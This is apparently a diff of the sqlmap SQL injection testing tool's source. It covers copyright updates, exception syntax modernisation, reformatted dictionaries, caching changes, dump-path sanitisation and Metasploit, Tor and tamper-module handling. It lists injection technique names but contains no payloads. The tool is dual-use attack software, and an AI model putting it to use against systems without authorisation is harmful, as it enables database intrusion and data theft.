     if port:
         netloc += ':' + str(port)
 
-    return urlparse.urlunsplit([parts.scheme, netloc, path, query, parts.fragment])
+    return urlparse.urlunsplit([parts.scheme, netloc, path, query, parts.fragment]) or url
 
 def isAdminFromPrivileges(privileges):
     """
     Inspects privileges to see if those are coming from an admin user
     """
 
+    privileges = privileges or []
+
     # In PostgreSQL the usesuper privilege means that the
     # user is DBA
     retVal = (Backend.isDbms(DBMS.PGSQL) and "super" in privileges)
@@ -3905,6 +3951,9 @@ def isAdminFromPrivileges(privileges):
 def findPageForms(content, url, raise_=False, addToTargets=False):
     """
     Parses given page content for possible forms
+
+    >>> findPageForms('<html><form action="/input.php" method="POST"><input type="text" name="id" value="1"><input type="submit" value="Submit"></form></html>', '')
+    set([(u'/input.php', 'POST', u'id=1', None, None)])
     """
 
     class _(StringIO):
@@ -3927,21 +3976,23 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
 
     try:
         forms = ParseResponse(response, backwards_compat=False)
-    except (UnicodeError, ValueError):
-        pass
     except ParseError:
-        if "<html" in (content or ""):
+        if re.search(r"(?i)<!DOCTYPE html|<html", content or ""):
             warnMsg = "badly formed HTML at the given URL ('%s'). Going to filter it" % url
             logger.warning(warnMsg)
             filtered = _("".join(re.findall(FORM_SEARCH_REGEX, content)), url)
-            try:
-                forms = ParseResponse(filtered, backwards_compat=False)
-            except ParseError:
-                errMsg = "no success"
-                if raise_:
-                    raise SqlmapGenericException(errMsg)
-                else:
-                    logger.debug(errMsg)
+
+            if filtered and filtered != content:
+                try:
+                    forms = ParseResponse(filtered, backwards_compat=False)
+                except ParseError:
+                    errMsg = "no success"
+                    if raise_:
+                        raise SqlmapGenericException(errMsg)
+                    else:
+                        logger.debug(errMsg)
+    except:
+        pass
 
     if forms:
         for form in forms:
@@ -3972,7 +4023,7 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
                 url = urldecode(request.get_full_url(), kb.pageEncoding)
                 method = request.get_method()
                 data = request.get_data() if request.has_data() else None
-                data = urldecode(data, kb.pageEncoding, plusspace=False)
+                data = urldecode(data, kb.pageEncoding, spaceplus=False)
 
                 if not data and method and method.upper() == HTTPMETHOD.POST:
                     debugMsg = "invalid POST form with blank data detected"
@@ -4181,7 +4232,7 @@ def decodeHexValue(value, raw=False):
                     except UnicodeDecodeError:
                         pass
                 if not isinstance(retVal, unicode):
-                    retVal = getUnicode(retVal, "utf8")
+                    retVal = getUnicode(retVal, conf.encoding or "utf8")
 
         return retVal
 
@@ -4323,7 +4374,9 @@ def prioritySortColumns(columns):
     ['userid', 'name', 'password']
     """
 
-    _ = lambda x: x and "id" in x.lower()
+    def _(column):
+        return column and "id" in column.lower()
+
     return sorted(sorted(columns, key=len), lambda x, y: -1 if _(x) and not _(y) else 1 if not _(x) and _(y) else 0)
 
 def getRequestHeader(request, name):
@@ -4337,7 +4390,7 @@ def getRequestHeader(request, name):
 
     if request and name:
         _ = name.upper()
-        retVal = max([value if _ == key.upper() else None for key, value in request.header_items()])
+        retVal = max(value if _ == key.upper() else None for key, value in request.header_items())
 
     return retVal
 

lib/core/convert.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -80,7 +80,7 @@ def base64unpickle(value, unsafe=False):
         if len(self.stack) > 1:
             func = self.stack[-2]
             if func not in PICKLE_REDUCE_WHITELIST:
-                raise Exception, "abusing reduce() is bad, Mkay!"
+                raise Exception("abusing reduce() is bad, Mkay!")
         self.load_reduce()
 
     def loads(str):
@@ -94,7 +94,7 @@ def base64unpickle(value, unsafe=False):
 
     try:
         retVal = loads(base64decode(value))
-    except TypeError: 
+    except TypeError:
         retVal = loads(base64decode(bytes(value)))
 
     return retVal
@@ -174,7 +174,7 @@ def htmlunescape(value):
             pass
     return retVal
 
-def singleTimeWarnMessage(message):  # Cross-linked function
+def singleTimeWarnMessage(message):  # Cross-referenced function
     sys.stdout.write(message)
     sys.stdout.write("\n")
     sys.stdout.flush()
@@ -193,7 +193,7 @@ def stdoutencode(data):
                 warnMsg = "cannot properly display Unicode characters "
                 warnMsg += "inside Windows OS command prompt "
                 warnMsg += "(http://bugs.python.org/issue1602). All "
-                warnMsg += "unhandled occurances will result in "
+                warnMsg += "unhandled occurrences will result in "
                 warnMsg += "replacement with '?' character. Please, find "
                 warnMsg += "proper character representation inside "
                 warnMsg += "corresponding output files. "

lib/core/data.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/core/datatype.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/core/decorators.py

@@ -1,10 +1,14 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+import hashlib
+
+from lib.core.threads import getCurrentThreadData
+
 def cachedmethod(f, cache={}):
     """
     Method with a cached content
@@ -13,15 +17,25 @@ def cachedmethod(f, cache={}):
     """
 
     def _(*args, **kwargs):
-        try:
-            key = hash((f, tuple(args), frozenset(kwargs.items())))
-            if key not in cache:
-                cache[key] = f(*args, **kwargs)
-        except:
-            key = hash("".join(str(_) for _ in (f, args, kwargs)))
-            if key not in cache:
-                cache[key] = f(*args, **kwargs)
+        key = int(hashlib.md5("".join(str(_) for _ in (f, args, kwargs))).hexdigest()[:8], 16)
+        if key not in cache:
+            cache[key] = f(*args, **kwargs)
 
         return cache[key]
 
     return _
+
+def stackedmethod(f):
+    def _(*args, **kwargs):
+        threadData = getCurrentThreadData()
+        originalLevel = len(threadData.valueStack)
+
+        try:
+            result = f(*args, **kwargs)
+        finally:
+            if len(threadData.valueStack) > originalLevel:
+                threadData.valueStack = threadData.valueStack[:originalLevel]
+
+        return result
+
+    return _

lib/core/defaults.py

@@ -1,27 +1,27 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
 from lib.core.datatype import AttribDict
 
 _defaults = {
-   "csvDel":       ',',
-   "timeSec":      5,
-   "googlePage":   1,
-   "verbose":      1,
-   "delay":        0,
-   "timeout":      30,
-   "retries":      3,
-   "saFreq":       0,
-   "threads":      1,
-   "level":        1,
-   "risk":         1,
-   "dumpFormat":   "CSV",
-   "tech":         "BEUSTQ",
-   "torType":      "SOCKS5",
+    "csvDel": ',',
+    "timeSec": 5,
+    "googlePage": 1,
+    "verbose": 1,
+    "delay": 0,
+    "timeout": 30,
+    "retries": 3,
+    "saFreq": 0,
+    "threads": 1,
+    "level": 1,
+    "risk": 1,
+    "dumpFormat": "CSV",
+    "tech": "BEUSTQ",
+    "torType": "SOCKS5",
 }
 
 defaults = AttribDict(_defaults)

lib/core/dicts.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -184,10 +184,10 @@ DUMP_REPLACEMENTS = {" ": NULL, "": BLANK}
 
 DBMS_DICT = {
     DBMS.MSSQL: (MSSQL_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "mssql+pymssql"),
-    DBMS.MYSQL: (MYSQL_ALIASES, "python-pymysql", "https://github.com/petehunt/PyMySQL/", "mysql"),
+    DBMS.MYSQL: (MYSQL_ALIASES, "python-pymysql", "https://github.com/PyMySQL/PyMySQL", "mysql"),
     DBMS.PGSQL: (PGSQL_ALIASES, "python-psycopg2", "http://initd.org/psycopg/", "postgresql"),
-    DBMS.ORACLE: (ORACLE_ALIASES, "python cx_Oracle", "http://cx-oracle.sourceforge.net/", "oracle"),
-    DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "http://packages.ubuntu.com/quantal/python-sqlite", "sqlite"),
+    DBMS.ORACLE: (ORACLE_ALIASES, "python cx_Oracle", "https://oracle.github.io/python-cx_Oracle/", "oracle"),
+    DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "https://docs.python.org/2/library/sqlite3.html", "sqlite"),
     DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "https://github.com/mkleehammer/pyodbc", "access"),
     DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "http://kinterbasdb.sourceforge.net/", "firebird"),
     DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"),
@@ -208,54 +208,60 @@ FROM_DUMMY_TABLE = {
 }
 
 SQL_STATEMENTS = {
-    "SQL SELECT statement":  (
-            "select ",
-            "show ",
-            " top ",
-            " distinct ",
-            " from ",
-            " from dual",
-            " where ",
-            " group by ",
-            " order by ",
-            " having ",
-            " limit ",
-            " offset ",
-            " union all ",
-            " rownum as ",
-            "(case ",        ),
+    "SQL SELECT statement": (
+        "select ",
+        "show ",
+        " top ",
+        " distinct ",
+        " from ",
+        " from dual",
+        " where ",
+        " group by ",
+        " order by ",
+        " having ",
+        " limit ",
+        " offset ",
+        " union all ",
+        " rownum as ",
+        "(case ",
+    ),
 
-    "SQL data definition":   (
+    "SQL data definition": (
         "create ",
         "declare ",
         "drop ",
         "truncate ",
-        "alter ",            ),
+        "alter ",
+    ),
 
     "SQL data manipulation": (
-            "bulk ",
-            "insert ",
-            "update ",
-            "delete ",
-            "merge ",
-            "load ",         ),
+        "bulk ",
+        "insert ",
+        "update ",
+        "delete ",
+        "merge ",
+        "load ",
+    ),
 
-    "SQL data control":      (
-            "grant ",
-            "revoke ",       ),
+    "SQL data control": (
+        "grant ",
+        "revoke ",
+    ),
 
-    "SQL data execution":    (
-            "exec ",
-            "execute ",
-            "values ", 
-            "call ",         ),
+    "SQL data execution": (
+        "exec ",
+        "execute ",
+        "values ",
+        "call ",
+    ),
 
-    "SQL transaction":       (
-            "start transaction ",
-            "begin work ",
-            "begin transaction ",
-            "commit ",
-            "rollback ",     ),
+    "SQL transaction": (
+        "start transaction ",
+        "begin work ",
+        "begin transaction ",
+        "commit ",
+        "rollback ",
+    ),
 }
 
 POST_HINT_CONTENT_TYPES = {

lib/core/dump.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -46,6 +46,7 @@ from lib.core.settings import METADB_SUFFIX
 from lib.core.settings import MIN_BINARY_DISK_DUMP_SIZE
 from lib.core.settings import TRIM_STDOUT_DUMP_SIZE
 from lib.core.settings import UNICODE_ENCODING
+from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT
 from lib.core.settings import WINDOWS_RESERVED_NAMES
 from thirdparty.magic import magic
 
@@ -140,7 +141,7 @@ class Dump(object):
             try:
                 elements = set(elements)
                 elements = list(elements)
-                elements.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x)
+                elements.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _)
             except:
                 pass
 
@@ -191,7 +192,7 @@ class Dump(object):
             userSettings = userSettings[0]
 
         users = userSettings.keys()
-        users.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x)
+        users.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _)
 
         if conf.api:
             self._write(userSettings, content_type=content_type)
@@ -285,7 +286,7 @@ class Dump(object):
                     colType = None
 
                     colList = columns.keys()
-                    colList.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x)
+                    colList.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _)
 
                     for column in colList:
                         colType = columns[column]
@@ -377,7 +378,7 @@ class Dump(object):
                     if count is None:
                         count = "Unknown"
 
-                    tables.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x)
+                    tables.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _)
 
                     for table in tables:
                         blank1 = " " * (maxlength1 - len(normalizeUnicode(table) or unicode(table)))
@@ -414,16 +415,16 @@ class Dump(object):
         elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
             if not os.path.isdir(dumpDbPath):
                 try:
-                    os.makedirs(dumpDbPath, 0755)
+                    os.makedirs(dumpDbPath)
                 except:
                     warnFile = True
 
-                    _ = unicodeencode(re.sub(r"[^\w]", "_", unsafeSQLIdentificatorNaming(db)))
+                    _ = unicodeencode(re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db)))
                     dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (_, hashlib.md5(unicodeencode(db)).hexdigest()[:8]))
 
                     if not os.path.isdir(dumpDbPath):
                         try:
-                            os.makedirs(dumpDbPath, 0755)
+                            os.makedirs(dumpDbPath)
                         except Exception, ex:
                             try:
                                 tempDir = tempfile.mkdtemp(prefix="sqlmapdb")
@@ -441,7 +442,7 @@ class Dump(object):
 
                             dumpDbPath = tempDir
 
-            dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower()))
+            dumpFileName = os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower())))
             if not checkFile(dumpFileName, False):
                 try:
                     openFile(dumpFileName, "w+b").close()
@@ -450,9 +451,9 @@ class Dump(object):
                 except:
                     warnFile = True
 
-                    _ = re.sub(r"[^\w]", "_", normalizeUnicode(unsafeSQLIdentificatorNaming(table)))
+                    _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(table)))
                     if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES:
-                        _ = unicodeencode(re.sub(r"[^\w]", "_", unsafeSQLIdentificatorNaming(table)))
+                        _ = unicodeencode(re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table)))
                         dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(unicodeencode(table)).hexdigest()[:8], conf.dumpFormat.lower()))
                     else:
                         dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower()))
@@ -611,9 +612,9 @@ class Dump(object):
                             mimetype = magic.from_buffer(value, mime=True)
                             if any(mimetype.startswith(_) for _ in ("application", "image")):
                                 if not os.path.isdir(dumpDbPath):
-                                    os.makedirs(dumpDbPath, 0755)
+                                    os.makedirs(dumpDbPath)
 
-                                _ = re.sub(r"[^\w]", "_", normalizeUnicode(unsafeSQLIdentificatorNaming(column)))
+                                _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(column)))
                                 filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8)))
                                 warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath)
                                 logger.warn(warnMsg)

lib/core/enums.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -22,6 +22,15 @@ class SORT_ORDER:
     FIFTH = 4
     LAST = 100
 
+# Reference: https://docs.python.org/2/library/logging.html#logging-levels
+class LOGGING_LEVELS:
+    NOTSET = 0
+    DEBUG = 10
+    INFO = 20
+    WARNING = 30
+    ERROR = 40
+    CRITICAL = 50
+
 class DBMS:
     ACCESS = "Microsoft Access"
     DB2 = "IBM DB2"
@@ -233,40 +242,40 @@ class REDIRECTION:
 
 class PAYLOAD:
     SQLINJECTION = {
-                        1: "boolean-based blind",
-                        2: "error-based",
-                        3: "inline query",
-                        4: "stacked queries",
-                        5: "AND/OR time-based blind",
-                        6: "UNION query",
-                   }
+        1: "boolean-based blind",
+        2: "error-based",
+        3: "inline query",
+        4: "stacked queries",
+        5: "AND/OR time-based blind",
+        6: "UNION query",
+    }
 
     PARAMETER = {
-                    1: "Unescaped numeric",
-                    2: "Single quoted string",
-                    3: "LIKE single quoted string",
-                    4: "Double quoted string",
-                    5: "LIKE double quoted string",
-                }
+        1: "Unescaped numeric",
+        2: "Single quoted string",
+        3: "LIKE single quoted string",
+        4: "Double quoted string",
+        5: "LIKE double quoted string",
+    }
 
     RISK = {
-                0: "No risk",
-                1: "Low risk",
-                2: "Medium risk",
-                3: "High risk",
-           }
+        0: "No risk",
+        1: "Low risk",
+        2: "Medium risk",
+        3: "High risk",
+    }
 
     CLAUSE = {
-                0: "Always",
-                1: "WHERE",
-                2: "GROUP BY",
-                3: "ORDER BY",
-                4: "LIMIT",
-                5: "OFFSET",
-                6: "TOP",
-                7: "Table name",
-                8: "Column name",
-             }
+        0: "Always",
+        1: "WHERE",
+        2: "GROUP BY",
+        3: "ORDER BY",
+        4: "LIMIT",
+        5: "OFFSET",
+        6: "TOP",
+        7: "Table name",
+        8: "Column name",
+    }
 
     class METHOD:
         COMPARISON = "comparison"

lib/core/exception.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/core/log.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/core/option.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -337,7 +337,7 @@ def _feedTargetsDict(reqFile, addedTargetUrls):
 
                 if not host:
                     errMsg = "invalid format of a request file"
-                    raise SqlmapSyntaxException, errMsg
+                    raise SqlmapSyntaxException(errMsg)
 
                 if not url.startswith("http"):
                     url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url)
@@ -402,7 +402,7 @@ def _loadQueries():
         errMsg = "something appears to be wrong with "
         errMsg += "the file '%s' ('%s'). Please make " % (paths.QUERIES_XML, getSafeExString(ex))
         errMsg += "sure that you haven't made any changes to it"
-        raise SqlmapInstallationException, errMsg
+        raise SqlmapInstallationException(errMsg)
 
     for node in tree.findall("*"):
         queries[node.attrib['value']] = iterate(node)
@@ -687,12 +687,12 @@ def _setMetasploit():
 
     if IS_WIN:
         try:
-            import win32file
+            __import__("win32file")
         except ImportError:
             errMsg = "sqlmap requires third-party module 'pywin32' "
             errMsg += "in order to use Metasploit functionalities on "
             errMsg += "Windows. You can download it from "
-            errMsg += "'http://sourceforge.net/projects/pywin32/files/pywin32/'"
+            errMsg += "'https://sourceforge.net/projects/pywin32/files/pywin32/'"
             raise SqlmapMissingDependence(errMsg)
 
         if not conf.msfPath:
@@ -700,7 +700,7 @@ def _setMetasploit():
                 retVal = None
 
                 try:
-                    from  _winreg import ConnectRegistry, OpenKey, QueryValueEx, HKEY_LOCAL_MACHINE
+                    from _winreg import ConnectRegistry, OpenKey, QueryValueEx, HKEY_LOCAL_MACHINE
                     _ = ConnectRegistry(None, HKEY_LOCAL_MACHINE)
                     _ = OpenKey(_, key)
                     retVal = QueryValueEx(_, value)[0]
@@ -784,7 +784,7 @@ def _setMetasploit():
 
     if not msfEnvPathExists:
         errMsg = "unable to locate Metasploit Framework installation. "
-        errMsg += "You can get it at 'http://www.metasploit.com/download/'"
+        errMsg += "You can get it at 'https://www.metasploit.com/download/'"
         raise SqlmapFilePathException(errMsg)
 
 def _setWriteFile():
@@ -918,7 +918,7 @@ def _setTamperingFunctions():
             dirname, filename = os.path.split(script)
             dirname = os.path.abspath(dirname)
 
-            infoMsg = "loading tamper script '%s'" % filename[:-3]
+            infoMsg = "loading tamper module '%s'" % filename[:-3]
             logger.info(infoMsg)
 
             if not os.path.exists(os.path.join(dirname, "__init__.py")):
@@ -931,8 +931,8 @@ def _setTamperingFunctions():
 
             try:
                 module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING))
-            except (ImportError, SyntaxError), ex:
-                raise SqlmapSyntaxException("cannot import tamper script '%s' (%s)" % (filename[:-3], getSafeExString(ex)))
+            except Exception, ex:
+                raise SqlmapSyntaxException("cannot import tamper module '%s' (%s)" % (filename[:-3], getSafeExString(ex)))
 
             priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__
 
@@ -962,7 +962,12 @@ def _setTamperingFunctions():
 
                     break
                 elif name == "dependencies":
-                    function()
+                    try:
+                        function()
+                    except Exception, ex:
+                        errMsg = "error occurred while checking dependencies "
+                        errMsg += "for tamper module '%s' ('%s')" % (filename[:-3], getSafeExString(ex))
+                        raise SqlmapGenericException(errMsg)
 
             if not found:
                 errMsg = "missing function 'tamper(payload, **kwargs)' "
@@ -1046,7 +1051,7 @@ def _setSocketPreConnect():
     if conf.disablePrecon:
         return
 
-    def _():
+    def _thread():
         while kb.get("threadContinue") and not conf.get("disablePrecon"):
             try:
                 for key in socket._ready:
@@ -1078,6 +1083,7 @@ def _setSocketPreConnect():
                     break
                 else:
                     try:
+                        candidate.shutdown(socket.SHUT_RDWR)
                         candidate.close()
                     except socket.error:
                         pass
@@ -1090,7 +1096,7 @@ def _setSocketPreConnect():
         socket.socket._connect = socket.socket.connect
         socket.socket.connect = connect
 
-        thread = threading.Thread(target=_)
+        thread = threading.Thread(target=_thread)
         setDaemon(thread)
         thread.start()
 
@@ -1127,7 +1133,7 @@ def _setHTTPHandlers():
             _ = urlparse.urlsplit(conf.proxy)
         except Exception, ex:
             errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex))
-            raise SqlmapSyntaxException, errMsg
+            raise SqlmapSyntaxException(errMsg)
 
         hostnamePort = _.netloc.split(":")
 
@@ -1254,7 +1260,7 @@ def _setSafeVisit():
                 kb.safeReq.post = None
         else:
             errMsg = "invalid format of a safe request file"
-            raise SqlmapSyntaxException, errMsg
+            raise SqlmapSyntaxException(errMsg)
     else:
         if not re.search(r"\Ahttp[s]*://", conf.safeUrl):
             if ":443/" in conf.safeUrl:
@@ -1376,7 +1382,7 @@ def _setHTTPAuthentication():
             except ImportError:
                 errMsg = "sqlmap requires Python NTLM third-party library "
                 errMsg += "in order to authenticate via NTLM, "
-                errMsg += "http://code.google.com/p/python-ntlm/"
+                errMsg += "https://github.com/mullender/python-ntlm"
                 raise SqlmapMissingDependence(errMsg)
 
             authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(kb.passwordMgr)
@@ -1488,8 +1494,8 @@ def _setHTTPUserAgent():
 
         userAgent = random.sample(kb.userAgents or [_defaultHTTPUserAgent()], 1)[0]
 
-        infoMsg = "fetched random HTTP User-Agent header from "
-        infoMsg += "file '%s': '%s'" % (paths.USER_AGENTS, userAgent)
+        infoMsg = "fetched random HTTP User-Agent header value '%s' from " % userAgent
+        infoMsg += "file '%s'" % paths.USER_AGENTS
         logger.info(infoMsg)
 
         conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, userAgent))
@@ -1579,7 +1585,7 @@ def _createTemporaryDirectory():
         except (OSError, IOError), ex:
             errMsg = "there has been a problem while accessing "
             errMsg += "temporary directory location(s) ('%s')" % getSafeExString(ex)
-            raise SqlmapSystemException, errMsg
+            raise SqlmapSystemException(errMsg)
     else:
         try:
             if not os.path.isdir(tempfile.gettempdir()):
@@ -1606,7 +1612,7 @@ def _createTemporaryDirectory():
         except (OSError, IOError, WindowsError), ex:
             errMsg = "there has been a problem while setting "
             errMsg += "temporary directory location ('%s')" % getSafeExString(ex)
-            raise SqlmapSystemException, errMsg
+            raise SqlmapSystemException(errMsg)
 
 def _cleanupOptions():
     """
@@ -1647,7 +1653,10 @@ def _cleanupOptions():
         conf.rParam = []
 
     if conf.paramDel and '\\' in conf.paramDel:
-        conf.paramDel = conf.paramDel.decode("string_escape")
+        try:
+            conf.paramDel = conf.paramDel.decode("string_escape")
+        except ValueError:
+            pass
 
     if conf.skip:
         conf.skip = conf.skip.replace(" ", "")
@@ -1661,6 +1670,9 @@ def _cleanupOptions():
     if conf.delay:
         conf.delay = float(conf.delay)
 
+    if conf.url:
+        conf.url = conf.url.strip()
+
     if conf.rFile:
         conf.rFile = ntToPosixSlashes(normalizePath(conf.rFile))
 
@@ -1781,8 +1793,8 @@ def _cleanupOptions():
     if conf.col:
         conf.col = re.sub(r"\s*,\s*", ',', conf.col)
 
-    if conf.excludeCol:
-        conf.excludeCol = re.sub(r"\s*,\s*", ',', conf.excludeCol)
+    if conf.exclude:
+        conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)
 
     if conf.binaryFields:
         conf.binaryFields = re.sub(r"\s*,\s*", ',', conf.binaryFields)
@@ -1886,6 +1898,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.cache.addrinfo = {}
     kb.cache.content = {}
     kb.cache.encoding = {}
+    kb.cache.alphaBoundaries = None
     kb.cache.intBoundaries = None
     kb.cache.parsedDbms = {}
     kb.cache.regex = {}
@@ -1937,6 +1950,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.forcePartialUnion = False
     kb.forceWhere = None
     kb.futileUnion = None
+    kb.heavilyDynamic = False
     kb.headersFp = {}
     kb.heuristicDbms = None
     kb.heuristicExtendedDbms = None
@@ -2030,6 +2044,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.uChar = NULL
     kb.unionDuplicates = False
     kb.wafSpecificResponse = None
+    kb.wizardMode = False
     kb.xpCmdshellAvailable = False
 
     if flushAll:
@@ -2111,6 +2126,8 @@ def _useWizardInterface():
 
     dataToStdout("\nsqlmap is running, please wait..\n\n")
 
+    kb.wizardMode = True
+
 def _saveConfig():
     """
     Saves the command line options to a sqlmap configuration INI file
@@ -2305,7 +2322,6 @@ def _setTorHttpProxySettings():
         errMsg = "can't establish connection with the Tor HTTP proxy. "
         errMsg += "Please make sure that you have Tor (bundle) installed and setup "
         errMsg += "so you could be able to successfully use switch '--tor' "
-
         raise SqlmapConnectionException(errMsg)
 
     if not conf.checkTor:
@@ -2326,7 +2342,6 @@ def _setTorSocksProxySettings():
         errMsg = "can't establish connection with the Tor SOCKS proxy. "
         errMsg += "Please make sure that you have Tor service installed and setup "
         errMsg += "so you could be able to successfully use switch '--tor' "
-
         raise SqlmapConnectionException(errMsg)
 
     # SOCKS5 to prevent DNS leaks (http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29)
@@ -2339,7 +2354,7 @@ def _checkWebSocket():
             from websocket import ABNF
         except ImportError:
             errMsg = "sqlmap requires third-party module 'websocket-client' "
-            errMsg += "in order to use WebSocket funcionality"
+            errMsg += "in order to use WebSocket functionality"
             raise SqlmapMissingDependence(errMsg)
 
 def _checkTor():
@@ -2531,11 +2546,11 @@ def _basicOptionValidation():
         raise SqlmapSyntaxException(errMsg)
 
     if conf.checkTor and not any((conf.tor, conf.proxy)):
-        errMsg = "switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address using Tor)"
+        errMsg = "switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address of Tor service)"
         raise SqlmapSyntaxException(errMsg)
 
     if conf.torPort is not None and not (isinstance(conf.torPort, int) and conf.torPort >= 0 and conf.torPort <= 65535):
-        errMsg = "value for option '--tor-port' must be in range 0-65535"
+        errMsg = "value for option '--tor-port' must be in range [0, 65535]"
         raise SqlmapSyntaxException(errMsg)
 
     if conf.torType not in getPublicTypeMembers(PROXY_TYPE, True):
@@ -2580,9 +2595,9 @@ def _basicOptionValidation():
     if conf.encoding:
         _ = checkCharEncoding(conf.encoding, False)
         if _ is None:
-            errMsg = "unknown charset '%s'. Please visit " % conf.encoding
+            errMsg = "unknown encoding '%s'. Please visit " % conf.encoding
             errMsg += "'%s' to get the full list of " % CODECS_LIST_PAGE
-            errMsg += "supported charsets"
+            errMsg += "supported encodings"
             raise SqlmapSyntaxException(errMsg)
         else:
             conf.encoding = _

lib/core/optiondict.py

@@ -1,255 +1,257 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
 optDict = {
-            # Format:
-            # Family:        { "parameter name":    "parameter datatype" },
-            # Or:
-            # Family:        { "parameter name":    ("parameter datatype", "category name used for common outputs feature") },
-            "Target":        {
-                               "direct":            "string",
-                               "url":               "string",
-                               "logFile":           "string",
-                               "bulkFile":          "string",
-                               "requestFile":       "string",
-                               "sessionFile":       "string",
-                               "googleDork":        "string",
-                               "configFile":        "string",
-                               "sitemapUrl":        "string",
-                             },
